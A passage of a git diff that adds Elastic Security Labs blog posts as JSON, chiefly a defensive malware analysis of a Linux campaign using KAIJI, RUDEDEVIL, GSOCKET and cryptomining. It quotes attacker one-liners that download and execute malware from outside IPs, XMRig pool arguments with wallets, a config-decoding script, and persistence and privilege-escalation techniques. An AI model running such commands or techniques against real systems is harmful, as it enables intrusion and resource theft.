Cloud](https://cloud.elastic.co/registration?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=trail) or [download](https://www.elastic.co/downloads/?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=download) the self-managed version of the Elastic Stack for free.\n" + }, + "title": "Automating the Security Protections rapid response to malware", + "slug": "automating-security-protections-rapid-response-to-malware", + "date": "2023-03-01", + "description": "See how we’ve been improving the processes that allow us to make updates quickly in response to new information and propagate those protections to our users, with the help of machine learning models.", + "author": [ + { + "slug": "samantha-zeitlin" + } + ], + "image": "blog-security-endpoint-720x420.png", + "category": [ + { + "slug": "machine-learning" + }, + { + "slug": "detection-science" + } + ] + }, + "id": "security_labs_content-automating_security_protections_rapid_response_to_malware-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-behind_the_scenes_global_threat_report-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-behind_the_scenes_global_threat_report-md.json new file mode 100644 index 00000000000..e1167adee8b --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-behind_the_scenes_global_threat_report-md.json @@ -0,0 +1,24 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Behind the scenes: The making of a Global Threat Report\"\nslug: \"behind-the-scenes-global-threat-report\"\ndate: \"2022-11-30\"\ndescription: \"What was our approach and process for creating a global threat report?\"\nauthor:\n - slug: mark-dufresne\nimage: \"gtr-blog-image-720x420.jpg\"\ncategory:\n - slug: reports\n---\n\nThe first [Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) was published earlier this week. In it, you will learn about trends observed by our threat researchers, our predictions for what’s coming next, and some of our recommendations to operate securely in the face of today’s and tomorrow’s threats. If you haven’t read it yet, go [check it out](https://www.elastic.co/explore/security-without-limits/global-threat-report).\n\nAs a technical leader in [Elastic Security](http://www.elastic.co/security), I'd like to reveal a small amount about what goes into reports like this one and why it’s significant.\n\n## Why did we do it?\n\nIf you didn’t already know this, you know it now: Elastic is a security company. We are also different — we’re open and transparent. We share exactly how our detections and preventions work in the [protections-artifacts](https://github.com/elastic/protections-artifacts) and [detection-rules](https://github.com/elastic/detection-rules) repos. We’ve launched [Elastic Security Labs](https://www.elastic.co/security-labs/) and regularly publish our research, discoveries, and tools. Anyone can spin up a [trial](https://cloud.elastic.co/registration) and try all our features — no barriers, no sales BS. This report is another way we’re bringing transparency to you. We want to empower you by sharing what we know and what we think is coming, and we will continue to expand the scope of what we share in the coming months.\n\n## How'd we do it?\n\nPut simply, by analyzing a vast amount of data. Behind [Elastic Security Labs](http://www.elastic.co/security-labs) is a large team of malware and intelligence analysts, security engineers, researchers, data scientists, and other experts. This team builds and maintains all the protection features in Elastic’s security products: blocking malware, in-memory threats, ransomware, and other malicious behaviors. You name it, we do it. To do this effectively, we need visibility into how our features perform and what threats they’re coming in contact with. We get that visibility through anonymous telemetry shared with us by our users (as well as through research our team carries out on threat feeds and other public datasets).\n\nOur researchers are in the telemetry data daily. Usually, we are focused on the performance of particular features, eliminating false positives and adding protection against emergent techniques, some of which you can learn about in our [threat report](https://www.elastic.co/explore/security-without-limits/global-threat-report). This battle never ends, and we don’t anticipate that changing any time soon.\n\n## Why now?\n\nAs our user base rapidly grew over the past year, we came to the conclusion that we now observe a significant percentage of all threats. Upon hitting that critical mass, we decided to peel off some of our best researchers to zoom out, analyze the totality of what we’ve seen, and determine if we had a story worth sharing. We felt we probably had something to contribute to the community’s collective understanding of the threat landscape, and as you read the report, we hope you agree that we were right to think that.\n\n## Diving deeper\n\nWith that backdrop, I can share a bit more about how a report like this comes to be. Under the leadership of [Devon Kerr](https://twitter.com/_devonkerr_), we built an eight-week plan to analyze and summarize the telemetry coming in from our various features. All our event telemetry data lives in Elasticsearch, which makes for straightforward summarization and visualization.\n\nData normalization was a significant challenge. This included filtering out excessively noisy endpoints so results aren’t skewed, ignoring data from test clusters, ignoring alerts for data which we later realized were false positives, pulling together signals from our full [Elastic Security](http://www.elastic.co/security) solution, and more. It wasn’t the most glamorous work in the world, but it was foundational to producing meaningful results at the end. We’ll plan for a couple weeks in this phase again next time — it will always be a significant lift.\n\nOnce the data was in good shape, we extracted the meaning from raw aggregations of a massive number of events to determine insights worth sharing, which help us understand the present state of the threat landscape. In particular, we wanted to explain the most prevalent threats we're seeing and put them in context. These are patterns that ebb and flow throughout the year, making an annual overview particularly useful for spotting the threats making the biggest impact. This led to the various charts and statistics laid out in the report. It took us a couple weeks to settle on a list among the team.\n\nNext, we had to write. Devon, [Andy Pease](https://twitter.com/andythevariable), [Daniel Stepanic](https://twitter.com/DanielStepanic), and [Terrance DeJesus](https://twitter.com/_xDeJesus) did the heavy lifting here. Anyone who’s done technical writing knows how important clarity and conciseness are in delivering a message that can be understood by the general public. A few dozen pages came together in a way we’re proud of. Importantly, we partnered closely with [Dhrumil Patel](https://www.linkedin.com/in/pateldhrumil/), our product management lead, and [Jen Ellard,](https://twitter.com/jellard8) security product marketing lead, for the [Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) effort to make sure our points were clear and meaningful to our user base.\n\nAll of that brought us to the end of our eight week plan to develop the report. By late August, we were largely pencils-down on the content but far from done. We’re lucky to have a team of designers at Elastic to help us transform a wall of text in a Google doc into a PDF with style and graphics to enhance meaning and help our conclusions and recommendations jump off the page. We knew that this process would take time, many drafts, and a lot of back and forth. Planning and executing this piece of the project took about as long as the data gathering, analysis, and writing. We learned a lot about how long it takes to go from completed draft to final copy and will involve our internal partners early and often in the process.\n\n## Tell us what you think\n\nWe’d love to hear your feedback about the first [Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report). More is on the way. We expect to make this an annual publication, and between now and then we’re hoping to deliver a more interactive version of this inaugural report.\n" + }, + "title": "Behind the scenes: The making of a Global Threat Report", + "slug": "behind-the-scenes-global-threat-report", + "date": "2022-11-30", + "description": "What was our approach and process for creating a global threat report?", + "author": [ + { + "slug": "mark-dufresne" + } + ], + "image": "gtr-blog-image-720x420.jpg", + "category": [ + { + "slug": "reports" + } + ] + }, + "id": "security_labs_content-behind_the_scenes_global_threat_report-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-betting_on_bots-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-betting_on_bots-md.json new file mode 100644 index 00000000000..316472bc663 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-betting_on_bots-md.json @@ -0,0 +1,37 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse\"\nslug: \"betting-on-bots\"\ndate: \"2024-09-27\"\ndescription: \"The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.\"\nauthor:\n - slug: remco-sprooten\n - slug: ruben-groenewoud\nimage: \"betting-on-bots.jpg\"\ncategory:\n - slug: malware-analysis\n - slug: attack-pattern\ntags:\n - linux\n - kaiji\n - rudedevil\n - gsocket\n - cryptomining\n---\n\n## Introduction\n\nIn recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.\n\nThe threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.\n\nOur investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.\n\nThis research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.\n\n## Execution flow\n\n### Initial access\n\nOur team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the `id` command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the `www-data` user account.\n\nShortly after the Kaiji deployment, the attacker used the `www-data` account to download a script named `00.sh` from the URL `http://61.160.194[.]160:35130`, which, after further investigation, also hosted several versions of RUDEDEVIL malware.\n\n`00.sh` is a stager that:\n\n* Sets its default shell and PATH.\n* Deletes several log files to erase traces of execution.\n* Leverages `ps`, `netstat`, `lsof` and a list of common mining process names to kill any potential mining competition on the compromised host.\n* Flushes the `iptables` rules on the host, sets several `iptables` rules to block connections to specific destination ports and mining pools, and disables `iptables`.\n* Finally, a second stage (`sss6`/`sss68`) is downloaded and executed, and execution traces are erased.\n\nThe figure below shows a compressed version of the stager. Lines annotated with `[...]` are shortened to enhance readability. \n\n![Compressed version of the 00.sh stager](/assets/images/betting-on-bots/image5.png \"Compressed version of the 00.sh stager\")\n\n### Fileserver\n\nVia the backdoored web server process, the attacker downloaded and executed malware through the following command:\n\n```\nsh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86\n```\n\nThe `l64` and `l86` files are downloaded from `http://107.178.101[.]245:5488`, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:\n\n![Rejetto File Server Hosting Several Pieces of Malware](/assets/images/betting-on-bots/image30.png \"Rejetto File Server Hosting Several Pieces of Malware\")\n\nThis seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the `download.sh` file that was uploaded September 10th, was already downloaded 3,100 times. \n\n![Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload](/assets/images/betting-on-bots/image25.png \"Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload\")\n\n### RUDEDEVIL/LUCIFER\n\nUpon closer inspection, the file `sss6`, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:\n\n![RUDEDEVIL Malware Characteristic](/assets/images/betting-on-bots/image11.png \"RUDEDEVIL Malware Characteristic\")\n\n```\nHi, man. I\\'ve seen several organizations report my Trojan recently, \nPlease let me go. I want to buy a car. That\\'s all. I don\\'t want to hurt others. \nI can\\'t help it. My family is very poor. In China, it\\'s hard to buy a suite. \nI don\\'t have any accommodation. I don\\'t want to do anything illegal. \nReally, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, \nthank yo\n```\n\nWe note that the files `l64` and `l86` that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:\n\n* **Daemon Initialization:** The process is converted into a daemon using `daemon(1, 0)`.\n* **Socket Creation:** A socket is created and bound to a specific port.\n* **Signal Handling:** Custom signal handlers are set up for various signals.\n* **Service Initialization:** Several services are started using `SetFILE`.\n* **Privilege Handling:** It checks for root privileges and adjusts resource limits accordingly.\n* **Decryption:** The malware decrypts its configuration blobs.\n* **Thread Creation:** Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.\n* **Main Loop:** The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.\n\nWhen examining the encryption routine, we find it utilizes XOR-based encoding:\n\n![DareDevil Encryption Routine](/assets/images/betting-on-bots/image13.png \"DareDevil Encryption Routine\")\n\nTo decode the contents statically, we developed a basic Python snippet:\n\n``` python\ndef DecryptData(data_block, encryption_key):\n key_modifier = encryption_key & 0xFF\n key_index = key_modifier // 0x5F # 0x5F = 95 in decimal\n modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal\n\n for i in range(len(data_block)):\n data_block[i] ^= modifier\n data_block[i] &= 0xFF # Ensure 8-bit value\n data_block[i] += modifier\n data_block[i] &= 0xFF # Ensure 8-bit value\n\n return data_block\n\n# Encoded data as hex strings\nencoded_data = [\n '4c494356515049490c467978',\n '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',\n '0f424d4e0f435536575649484b',\n '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',\n]\n\nencryption_key = 0x03FF # 1023 in decimal\n\n# Process and decrypt each encoded data string\nfor data in encoded_data:\n # Convert hex string to list of integers\n data_bytes = bytes.fromhex(data)\n data_block = list(data_bytes)\n\n # Decrypt the data\n decrypted_block = DecryptData(data_block, encryption_key)\n\n # Convert decrypted data back to bytes\n decrypted_bytes = bytes(decrypted_block)\n print(\"Decrypted text:\", decrypted_bytes.decode('utf-8', errors='ignore'))\n```\n\nAfter decoding the configuration, the following values are revealed:\n\n* The first value C2 domain `nishabii[.]xyz`.\n* The second value reveals options that will be passed to XMRIG.\n* The third value shows the temp file location the malware uses.\n* The fourth and last string shows the download location for the XMRIG binary.\n\n### Thread Management in the Malware\n\nThe malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.\n\n#### Understanding the KillPid Function\n\nOne of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.\n\nAt the heart of its functionality is an array called `sb_name`, which contains the names of processes the malware wants to terminate. \n\n![RUDEDEVIL kill process array](/assets/images/betting-on-bots/image24.png \"RUDEDEVIL kill process array\")\n\nEvery two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called `getPidByName`. After each iteration, it moves to the next process in the list, ensuring all processes in `sb_name` are handled.\n\nInterestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.\n\n#### Understanding the Get_Net_Messages Function\n\nAnother crucial thread is responsible for monitoring network traffic, specifically focusing on the `eth0` network interface. This functionality is handled by the `getOutRates` function. The function begins by setting up necessary variables and opening the `/proc/net/dev` file, which contains detailed network statistics for each interface.\n\n![Getting network rates from /proc/net/dev](/assets/images/betting-on-bots/image22.png \"Getting network rates from /proc/net/dev\")\n\nIf the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the `eth0` interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for `eth0`; otherwise, it returns `0`, ensuring the malware continues functioning even if an error occurs.\n\nThis routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.\n\n#### Understanding the Get_Cpu_Message Function\n\nFor CPU monitoring, the malware uses the `GetCpuRates` function. This function continuously monitors the CPU usage by reading data from `/proc/stat`. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.\n\n![Getting CPU information from /proc/stat](/assets/images/betting-on-bots/image34.png \"Getting CPU information from /proc/stat\")\n\nThe function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.\n\n#### Understanding the Send_Host_Message Function\n\nPerhaps the most critical thread is the one responsible for sending system information back to the malware operators. The `_SendInfo` function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.\n\n![Sending system info back to the C2](/assets/images/betting-on-bots/image19.png \"Sending system info back to the C2\")\n\nAdditionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.\n\nIn essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.\n\n### Connecting to the Command-and-Control (C2) Server\n\nOnce all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the `ConnectServer` function in the main thread, which handles communication with the server and executes commands remotely.\n\n#### Understanding the ConnectServer Function\n\nThe first task the `ConnectServer` function performs is establishing a connection to the C2 server using `ServerConnectCli`. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.\n\nOnce the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.\n\nAfter this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.\n\nWhen the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.\n\n#### Command-and-Control (C2) Commands\n\nThe `ConnectServer` function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:\n\n* **Case 4:** The malware calls the `DealwithDDoS` function, likely initiating a Distributed Denial of Service (DDoS) attack.\n* **Case 5:** Sets the `StopFlag` to `1`, which could signal the malware to stop specific tasks.\n* **Case 6:** Downloads a file from the server using `http_get`, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.\n* **Case 7:** Executes a system command using the `system` function, providing the attackers with direct control over the system’s command line.\n* **Case 8:** Sets `StopCpu` to `0`, restarting any previously halted CPU tasks.\n* **Case 9:** Sets `StopCpu` to `1`, halting all CPU tasks.\n* **Case 0xA:** Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.\n* **Case 0xB:** Sets `stopxmr` to `1`, effectively stopping the XMRIG miner.\n* **Case 0xC:** Resets `stopxmr` to `0` and retrieves the current process PID, resuming the mining activity.\n\n![Processing of C2 commands](/assets/images/betting-on-bots/image19.png \"Processing of C2 commands\")\n\nEach command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.\n\n### Variants of RUDEDEVIL Malware and XMRIG Configuration\n\nWhile the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.\n\nEach version of the malware was configured to connect to the same mining pool, `c3pool.org`, but with slight differences in the parameters passed to the XMRIG miner:\n\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R`\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2`\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php`\n* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0`\n\nEach of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the `c3pool` application, we confirmed that both XMR addresses associated with these commands are currently active and mining.\n\n![C3pool mining revenue](/assets/images/betting-on-bots/image9.png \"C3pool mining revenue\")\n\nAdditionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.\n\n## GSOCKET\n\nTo establish persistence, the threat actor downloaded and installed [GSOCKET](https://github.com/hackerschoice/gsocket), a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.\n\nAlthough GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.\n\nOnce deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:\n\n![GSOCKET Kernel Process Masquerading](/assets/images/betting-on-bots/image7.png \"GSOCKET Kernel Process Masquerading\")\n\nIt then creates the `/dev/shm/.gs-1000` directory to download and store its binary in shared memory. Additionally, by default, it sets up an `/htop` directory under `/home/user/.config/htop/` to store both the GSOCKET binary and the secret key used for its operations. \n\nNext, a cron job that runs the GSOCKET binary with the secret key every minute is set up.\n\n![GSOCKET Crontab Persistence](/assets/images/betting-on-bots/image21.png \"GSOCKET Crontab Persistence\")\n\nThe binary is executed under the name of a kernel process using the `exec -a [process_name]` command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:\n\nWhen decoding the payload, we see how the `defunct.dat` secret key is used as an argument to execute the `defunct` binary, which is masqueraded as `[raid5wq]` through the use of `exec -a `command:\n\nIn addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (`rc.local`) and Systemd. GSOCKET enumerates potential persistence locations:\n\n![GSOCKET Persistence Technique Enumeration](/assets/images/betting-on-bots/image29.png \"GSOCKET Persistence Technique Enumeration\")\n\nGSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:\n\n![GSOCKET Webhook Capabilities](/assets/images/betting-on-bots/image14.png \"GSOCKET Webhook Capabilities\")\n\nFinally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:\n\n![GSOCKET Timestomping Capability](/assets/images/betting-on-bots/image16.png \"GSOCKET Timestomping Capability\")\n\nThese features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection. \n\nAdditionally, a PHP payload was fetched from an external IP and saved as `404.php`, likely functioning as a backdoor for future access. We did not manage to obtain this payload.\n\n### Post compromise dwell time\n\nAfter a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.\n\nAfter regaining access to the host, a newer version of the KAIJI malware was deployed.\n\n### KAIJI malware: a comparison to previous samples\n\nWhile investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.\n\n![KAIJI Download.sh Script](/assets/images/betting-on-bots/image2.png \"KAIJI Download.sh Script\")\n\nThe same Shell script is found in other reports where this script is used to deploy KAIJI.\n\nAs part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of `Chaos` (KAIJI) can be found in their blog post[ here](https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/).\n\nUsing [BinDiff](https://github.com/google/bindiff), a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.\n\n![Bindiff for Old and New Version of KAIJI](/assets/images/betting-on-bots/image18.png \"Bindiff for Old and New Version of KAIJI\")\n\nAlthough the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.\n\nDelving deeper into the disassembly, we identified a function named `main_Link`. This function is responsible for decoding the C2 server address used by the malware.\n\n![KAIJI main_link Function](/assets/images/betting-on-bots/image31.png \"KAIJI main_link Function\")\n\nOnce decoded, the function searches for the `|(odk)/*-` postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.\n\nGiven that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.\n\n![KAIJI Dynamic Analysis - Part 1](/assets/images/betting-on-bots/image12.png \"KAIJI Dynamic Analysis - Part 1\")\n\nAfter execution, KAIJI creates several files in the `/etc/` and `/dev/` directories, `/etc/id.services.conf`, `/etc/32678`, `/dev/.img` and `/dev/.old`. These scripts are places to establish persistence. \n\nTwo services are set up, `/etc/init.d/linux_kill` and `crond.service`. `crond.service` is executed by Systemd, while `linux_kill` is used for SysVinit persistence.\n\nAfter reloading the Systemd daemon, the first network connection to the C2 is attempted.\n\n![KAIJI Dynamic Analysis - Part 2](/assets/images/betting-on-bots/image18.png \"KAIJI Dynamic Analysis - Part 2\")\n\nNext, the `Systemd Late generator` service file is created. More information on the workings of `Systemd`, and different ways of establishing persistence through this method can be found in our recent blog series dubbed [Linux Detection Engineering - A primer on persistence mechanisms](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms).\n\nKAIJI creates the `/boot/System.img.config` file, which is an executable that is executed through the previously deployed `Systemd` services. This binary, is amongst other binaries, another way of establishing persistence. \n\n![KAIJI Dynamic Analysis - Part 3](/assets/images/betting-on-bots/image26.png \"KAIJI Dynamic Analysis - Part 3\")\n\nNext, KAIJI adjusts the `SELinux` policies to allow unauthorized actions. It searches audit logs for denied operations related to `System.img.conf`, generates a new `SELinux` policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.\n\nAdditionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; `/usr/lib/libd1rpcld.so` and `/.img`.\n\nRight after, `/etc/crontab` is altered through an echo command, ensuring that the `/.img` file is executed by root on a set schedule.\n\n![KAIJI Dynamic Analysis - Part 4](/assets/images/betting-on-bots/image20.png \"KAIJI Dynamic Analysis - Part 4\")\n\nKAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.\n\n![KAIJI Dynamic Analysis - Part 5](/assets/images/betting-on-bots/image17.png \"KAIJI Dynamic Analysis - Part 5\")\n\nKAIJI uses the `renice` command to grant PID `2957`, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.\n\nTo evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.\n\nFinally, we see a trace of `cron` executing the `/.img`, which was planted in the `/etc/crontab` file earlier.\n\n## The saga continues\n\nTwo weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the `www-data` user through the Apache2 process using the command:\n\n```\nsh -c wget http://91.92.241[.]103:8002/gk.php\n```\n\nThe contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying `pspy64`. `Pspy` is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities​.\n\nNotably, `pspy64` was executed by the `[rcu_preempt]` parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.\n\nFurther attempts at privilege escalation involved exploiting `CVE-2021-4034`, also known as `pwnkit`. This vulnerability affects the `pkexec` component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.\n\n### Custom built binaries\n\nRight after, the attackers attempted to download a custom-built malware named `apache2` and `apache2v86` from:\n\n* `http://62.72.22[.]91/apache2`\n* `http://62.72.22[.]91/apache2v86`\n\nWe obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.\n\nWhile the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.\n\n![Apache2 XOR-Encoded Strings](/assets/images/betting-on-bots/image33.png \"Apache2 XOR-Encoded Strings\")\n\nThe XOR key used to encode the strings was identified as `0x79` (or the character `y`). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:\n\n```\n/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1\nsec-ch-ua: \"Chromium\";v=\"122\", \"Google Chrome\";v=\"122\", \"Not-A.Brand\";v=\"99\nsec-ch-ua-platform: \"Windows\"\nupgrade-insecure-requests: 1\naccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nreferer: https://twitter[.]com\naccept-language: ru,en-US;q=0.9\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.\n```\n\nThis indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.\n\n### Additional reconnaissance \n\nThe attackers continued to use tools from The Hacker’s Choice, by downloading and executing [`whatserver.sh`](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh).\n\nThis Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names 